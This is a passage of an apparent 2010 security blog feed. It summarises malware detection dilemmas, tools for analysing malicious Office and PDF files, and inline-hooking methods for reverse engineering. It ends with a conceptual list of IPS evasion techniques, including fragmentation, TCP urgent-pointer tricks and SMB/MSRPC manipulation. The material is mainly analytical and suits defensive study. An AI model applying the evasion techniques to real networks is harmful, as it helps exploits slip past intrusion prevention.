human vulnerabilities)&lt;br /&gt;-Botnets (Money making operation by selling stolen credentials, renting out botnet services like DDoS, Adware installations, etc)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Anti-Malware Solutions&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The decision about the detection of malware (adware, spyware, trojan, etc) can be troublesome. It can be difficult to give a reason why any software is malicious, unwanted or not useful. However, implementing detection mechanism can be rather easy but there is an exception to this rule. Additionally, there is always a need for the cooperation between AV companies to avoid ambiguous decisions. This can be established by introducing standards and best practices such as AVPD, ASC, AMTSO, etc.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Detection vs Decision in Terms of Malware&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S8t-5vylhDI/AAAAAAAAAMs/ryZkTs0iKHw/s1600/08-Apr-19-10-pic1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S8t-5vylhDI/AAAAAAAAAMs/ryZkTs0iKHw/s320/08-Apr-19-10-pic1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Malware Distribution Channels&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/S8t_fNI5X_I/AAAAAAAAAM0/70ovLayfmkk/s1600/08-Apr-19-10-pic2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/S8t_fNI5X_I/AAAAAAAAAM0/70ovLayfmkk/s320/08-Apr-19-10-pic2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Trojan or Normal Application?&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Trojan&lt;/i&gt;&lt;br /&gt;-Uncompromising infection&lt;br /&gt;-Make use of exploits&lt;br /&gt;-Unattended, unsolicited installation&lt;br /&gt;-Perform stealth activities&lt;br /&gt;-Invasiveness&lt;br /&gt;-Impact on system stability, security and integrity&lt;br /&gt;-Obfuscated data&lt;br /&gt;-Detection evasion mechanism&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Normal Application&lt;/i&gt;&lt;br /&gt;-The application itself isn't causing any harm&lt;br /&gt;-EULA, the installation take place with user's consent&lt;br /&gt;-The vendors disclaim involvement with the distribution channels&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Vendors doesn't want their application to be detected&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;a href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/S8t_3T4QEyI/AAAAAAAAAM8/2f1N-nTOIj8/s1600/08-Apr-19-10-pic3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/S8t_3T4QEyI/AAAAAAAAAM8/2f1N-nTOIj8/s320/08-Apr-19-10-pic3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Final Outlook of the Malware&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S8uAEPdsW1I/AAAAAAAAANE/O6o1yJSbCyY/s1600/08-Apr-19-10-pic4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S8uAEPdsW1I/AAAAAAAAANE/O6o1yJSbCyY/s320/08-Apr-19-10-pic4.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Legal and Problematic Issues&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;-Applications developed by well-established companies roll out with different affiliate distribution&lt;br /&gt;model. Now, typically with botnet era?&lt;br /&gt;-Mutual customers: those who want to use software and be protected at the same time.&lt;br /&gt;-Other customers: those who never agree to install anything without their trustful consent.&lt;br /&gt;-Uncontrolled open affiliate distribution model is unfeasible.&lt;br /&gt;-Direct sponsorship for cybercrime activities.&lt;br /&gt;-Once detected, these criminal groups are ready to fight even for the price of lawsuit.&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Over the Past 4-years (according to Eset AV Press)&lt;/b&gt;&lt;br /&gt;-20+ cases where the legal department has been involved&lt;br /&gt;-Over 1150 hours and 530 employee interactions&lt;br /&gt;-2006: 16 hours/month, 6 total interactions&lt;br /&gt;-2009: 46 hours/month, 21 total interactions&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-3209716150144730102?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3209716150144730102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3209716150144730102'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/04/insights-of-cybercrime-world.html' title='Insights of the CyberCrime World'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WWO0NoYEIHQ/S8t-5vylhDI/AAAAAAAAAMs/ryZkTs0iKHw/s72-c/08-Apr-19-10-pic1.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-192624486116014057</id><published>2010-04-01T01:57:00.001-04:30</published><updated>2010-04-01T01:58:23.532-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='shellcode detection'/><category scheme='http://www.blogger.com/atom/ns#' term='pdf scanner'/><category scheme='http://www.blogger.com/atom/ns#' term='malicious documents'/><category scheme='http://www.blogger.com/atom/ns#' term='officecat'/><category scheme='http://www.blogger.com/atom/ns#' term='wepawet'/><category scheme='http://www.blogger.com/atom/ns#' term='vb macros'/><category scheme='http://www.blogger.com/atom/ns#' term='sparse'/><category scheme='http://www.blogger.com/atom/ns#' term='static analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware static analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='cwsandbox'/><category scheme='http://www.blogger.com/atom/ns#' term='officemalscanner'/><category scheme='http://www.blogger.com/atom/ns#' term='dynamic analysis'/><title type='text'>Dissecting Malicious Office Documents</title><content type='html'>&lt;div style="text-align: justify;"&gt;In the past, malware was only appearing as an executable file but this threat has changed its landscape to skew through the application data files which includes, pdf, doc, xls, etc. In order to combat this threat, MalOffice has introduced a combination of both "static" and "dynamic" analysis techniques to inspect the application data files. The static analysis uses general and filetype-dependable scanning while the dynamic analysis uses the approach of CWSandbox and other test analysis techniques.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Static Analyzers&lt;/b&gt;&lt;br /&gt;&lt;i&gt;General:&lt;/i&gt;&lt;br /&gt;-AV Scanner&lt;br /&gt;-PE-Detector&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;i&gt;Specialized:&lt;/i&gt;&lt;br /&gt;-Detect embedded javascript in PDF document&lt;br /&gt;-Heuristics for malicious javascript&lt;br /&gt;-Detect shellcode in Office documents&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;PDFScanner&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;Specialized scanner for PDF files&lt;br /&gt;-Decompose PDF stream into objects (pdftoolkit)&lt;br /&gt;-Detect javascript objects&lt;br /&gt;-Use heuristics to detect malicious javascript&lt;br /&gt;-Extract Variable names&lt;br /&gt;-Find code obfuscation&lt;br /&gt;-Usage of known vulnerable functions&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;OfficeMalScanner&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;Specialized scanner for MS Word files&lt;br /&gt;-Uses OfficeMalScanner, by Frank Boldewin (http://www.reconstructer.org)&lt;br /&gt;-Forensic tool for Office documents&lt;br /&gt;-Scans for shellcode pattern&lt;br /&gt;-Dumps OLE structures and VB-macros&lt;br /&gt;-Generates a malicious index value&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S7Q6pEvSeDI/AAAAAAAAAMU/sXddsCzc1QY/s1600/07-Mar-31-10-pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S7Q6pEvSeDI/AAAAAAAAAMU/sXddsCzc1QY/s320/07-Mar-31-10-pic1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Limitations&lt;/b&gt;&lt;br /&gt;Static analyis can be circumvented by attacker&lt;br /&gt;-different kinds of obfuscation are possible&lt;br /&gt;-general drawbacks of static malware analysis&lt;br /&gt;-exploit might trigger only on certain events&lt;br /&gt;-Exploit might require specific version&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Dynamic Analyzers&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;CWSandbox&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;-Tool for automated behavior analysis&lt;br /&gt;-PE-executables or arbitrary data files&lt;br /&gt;-Creates XML analysis report: operations executed by the monitored processes&lt;br /&gt;-Filesystem, registry, network, user management,services, protected storage, etc&lt;br /&gt;-Each file type has associated host application e.g. Acrobat Reader, Foxit Reader, MS Word, etc&lt;br /&gt;-Some exploits only trigger in specific app versions e.g. Acrobat Reader 8.0, 8.1.0, 8.1.1, 9.0&lt;br /&gt;-Task: decide from analysis report, if executed data file is malicious based on "Policies"&lt;br /&gt;-consist of white and blacklisted operations&lt;br /&gt;-created in a semi-automated way&lt;br /&gt;-One policy per host application version&lt;br /&gt;-What operations are usually perfomed when running this application with a (benign) data file?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Static Analysis Result (suspicious points)&lt;/i&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/S7Q7K5GSpAI/AAAAAAAAAMc/sSag6hr5Vi8/s1600/07-Mar-31-10-pic2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/S7Q7K5GSpAI/AAAAAAAAAMc/sSag6hr5Vi8/s320/07-Mar-31-10-pic2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Dynamic Analysis Result (malicious points)&lt;/i&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S7Q7VJlXaTI/AAAAAAAAAMk/myHqeMulsZQ/s1600/07-Mar-31-10-pic3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S7Q7VJlXaTI/AAAAAAAAAMk/myHqeMulsZQ/s320/07-Mar-31-10-pic3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Other Tools&lt;/b&gt;&lt;br /&gt;SPARSE - focus only on Word documents&lt;br /&gt;OfficeCat - static scanner for office documents&lt;br /&gt;OfficeMalScanner - MS office forensic tool&lt;br /&gt;Wepawet - powerful tool to analyze PDF and Flash files&lt;i&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-192624486116014057?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/192624486116014057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/192624486116014057'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/04/disecting-malicious-office-documents.html' title='Dissecting Malicious Office Documents'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WWO0NoYEIHQ/S7Q6pEvSeDI/AAAAAAAAAMU/sXddsCzc1QY/s72-c/07-Mar-31-10-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-297926168922455200</id><published>2010-03-23T07:06:00.001-04:30</published><updated>2010-03-31T05:21:43.540-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='api hooking'/><category scheme='http://www.blogger.com/atom/ns#' term='sandbox'/><category scheme='http://www.blogger.com/atom/ns#' term='inline hooks'/><category scheme='http://www.blogger.com/atom/ns#' term='process monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='api thief'/><category scheme='http://www.blogger.com/atom/ns#' term='api tracing'/><category scheme='http://www.blogger.com/atom/ns#' term='ssdt hooks'/><category scheme='http://www.blogger.com/atom/ns#' term='emulation'/><category scheme='http://www.blogger.com/atom/ns#' term='debugging techniques'/><category scheme='http://www.blogger.com/atom/ns#' term='static analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel-level monitoring'/><title type='text'>Reverse Engineering Through Inline Hooking</title><content type='html'>&lt;div style="text-align: justify;"&gt;Reverse Engineering techniques are generally divided into two broad categories: &lt;br /&gt;1. Static Analysis&lt;br /&gt;2. Dynamic Analysis&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Static Analysis&lt;/b&gt;&lt;br /&gt;-Techniques which do not involve running the code&lt;br /&gt;-Disassembly, file structure analysis, strings, etc.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Dynamic Analysis&lt;/b&gt;&lt;br /&gt;-Techniques which involve running the code&lt;br /&gt;-Behavioral analysis&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Approaches to Dynamic analysis involve:&lt;br /&gt;-Network Monitoring&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Isolated Physical Networks&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Virtual Networks&lt;br /&gt;-Hardware Emulation&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Norman Sandbox, etc.&lt;br /&gt;-Kernel-Level Monitoring (SSDT hooks)&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Sysinternal Process Monitor&lt;br /&gt;-Debuggers&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Kernel-Level Monitoring&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S6ilsF8C2LI/AAAAAAAAAME/LPU1wjB70bo/s1600-h/06-Mar-23-10-pic1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="209" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S6ilsF8C2LI/AAAAAAAAAME/LPU1wjB70bo/s320/06-Mar-23-10-pic1.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Advantages&lt;/i&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Captures every system call&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Can’t be avoided from userland&lt;br /&gt;&lt;i&gt;Disadvantages&lt;/i&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Only captures functions implemented as system calls&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Not every important function call in the Win32 API is implemented as a system call&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Tools don’t differentiate between process housekeeping and calls from usercode&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Calls to internal DLL’s cannot be observed&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Process Monitoring via Debugging&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Advantages&lt;/i&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Debugger can trap any function call, not just system calls&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Trapped calls are more likely to be highly relevant to the program’s operation&lt;br /&gt;&lt;i&gt;Disadvantages&lt;/i&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Have to act as a debugger&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Susceptible to countless anti-debugging techniques&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Inline Hooks&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Advantages&lt;/i&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Can trap any function call, not just system calls&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Trapped calls are more likely to be highly relevant to the program’s operation&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Not operating as a debugger&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; No device driver required&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Disadvantages&lt;/i&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Hard to implement&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/S6imYdA_MII/AAAAAAAAAMM/FcN_FpqGNX0/s1600-h/06-Mar-23-10-pic2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/S6imYdA_MII/AAAAAAAAAMM/FcN_FpqGNX0/s320/06-Mar-23-10-pic2.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;Implementing Inline Hooks&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;1. Find a function of interest&lt;br /&gt;2. Disassemble the beginning of the function&lt;br /&gt;3. If possible, overwrite the beginning bytes of the function with a jump or call instruction&lt;br /&gt;4. Implement a handler for the hooked function&lt;/div&gt;&lt;br /&gt;&lt;b&gt;What to do with hooked functions?&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Observe and Report&lt;/i&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Collect data about the current function call by gathering data from stack and report to console&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Execute any instructions overwritten from the hook&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Jump back to the next instruction in the hooked function&lt;br /&gt;&lt;i&gt;Intercept and Emulate&lt;/i&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Perform a specified action instead of calling the intended function&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Running your own Sandbox&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;-Trap gethostbyname() to always return a fixed IP address.&lt;br /&gt;-A pseudo-handle interface to allow fake reads and writes to files and netwok sockets. Trap connect() to connection to a pseudo-socket. CreateFile(), ReadFile(), WriteFile(), etc.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;API Thief Tool&lt;/b&gt; (by mandiant.com)&lt;br /&gt;&lt;div style="text-align: justify;"&gt;-Launches target process in a suspended state&lt;br /&gt;-Injects a DLL into the process.&lt;br /&gt;-The Injected DLL hooks all Win32 API functions before the target process is resumed&lt;br /&gt;-API Call monitoring can be used simply with a process monitor-style console&lt;br /&gt;-Embedded python can be used to write custom handlers for specific hooked functions&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-297926168922455200?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/297926168922455200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/297926168922455200'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/03/reverse-engineering-through-inline.html' title='Reverse Engineering Through Inline Hooking'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WWO0NoYEIHQ/S6ilsF8C2LI/AAAAAAAAAME/LPU1wjB70bo/s72-c/06-Mar-23-10-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-4381536361559793173</id><published>2010-02-27T14:01:00.005-04:30</published><updated>2010-02-28T08:39:17.325-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='tcp fragmentation'/><category scheme='http://www.blogger.com/atom/ns#' term='smb evasion'/><category scheme='http://www.blogger.com/atom/ns#' term='ips evasion techniques'/><category scheme='http://www.blogger.com/atom/ns#' term='ids evasion'/><category scheme='http://www.blogger.com/atom/ns#' term='IP fragmentation'/><category scheme='http://www.blogger.com/atom/ns#' term='MSRPC Alter Context'/><category scheme='http://www.blogger.com/atom/ns#' term='TCP Urgent Pointer'/><category scheme='http://www.blogger.com/atom/ns#' term='SMB Session Mixing'/><title type='text'>Network Intrusion: The Advanced IPS Evasion Techniques</title><content type='html'>&lt;div style="text-align: justify;"&gt;As most of you may know that the Intrusion Prevention Systems (IPS) should protect vulnerable hosts from remote exploits. However, there are occassions where exploits can apply multiple evasion methods to bypass these detection mechanisms and break into the system. There are many hacking tools which apply multiple IDS/IPS evasion techniques but these tools are more exploit oriented rather than evasion oriented.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Known Evasion Techniques&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-IP Fragmentation with manipulated fragment size and order&lt;br /&gt;-IP Random Options&lt;br /&gt;-TCP segmentation with manipulated segment size and order&lt;br /&gt;-TCP Time Wait&lt;br /&gt;-TCP Urgent Pointer&lt;br /&gt;-SMB Fragmentation&lt;br /&gt;-SMB Transaction Write Method&lt;br /&gt;-SMB Write/Read Padding&lt;br /&gt;-SMB Transaction Method fragmentation&lt;br /&gt;-SMB Session Mixing&lt;br /&gt;-MSRPC Multibind (bind to multiple unnecessary or non-existent context + the vulnerable context)&lt;br /&gt;-MSRPC fragmentation&lt;br /&gt;-MSRPC encryption&lt;br /&gt;-MSRPC Alter Context  &lt;br /&gt;-MSRPC Object Reference&lt;br /&gt;-MSRPC Endian Manipulation&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Evasion Method&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;IPS signatures can be evaded completely if the protocol stacks do not understand the evasions and normalize the traffic over the network. For example, SMB and MSRPC signatures should not worry about fragmentation, padding, extra methods or other randomizations. More of these examples are discussed below.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;IP Random Options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Fill IP Packet with random Options&lt;br /&gt;-If the target host and the IPS device disagree about the validity of the packet, the target host may see different data than the IPS.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;TCP Time Wait&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Open and close a TCP connection. Open a new TCP-connection to the same service using the same TCP-source port. According the TCP RFC, the TCP client MUST wait "TIME-Wait Delay" amount of seconds before reusing a port.&lt;br /&gt;&lt;br /&gt;-If the attacker uses his own TCP/IP Stack, he can open and close a TCP-connection and immediately open a new TCP connection using the same source port.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;TCP Urgent Pointer&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Insert one byte into a TCP-stream.&lt;br /&gt;-TCP-Server chooses whether to use or discard the added byte.&lt;br /&gt;-An IPS device inspection can be evaded by clever use of the urgent pointer.&lt;br /&gt;-Example:     TCP Stream:  GETP /     (P is urgent data)&lt;br /&gt;       IPS looks:          GETP /&lt;br /&gt;       Apache looks:    GET /&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;SMB Session Mixing&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It is possible to use multiple resources over the same SMB-session within the single TCP-connection at same time. Simultaneously read and write into multiple files.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;SMB Write/Read Padding&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-The write and read commands have  an offset pointer that can be used for padding.&lt;br /&gt;-All data after the SMB header till the pointed byte 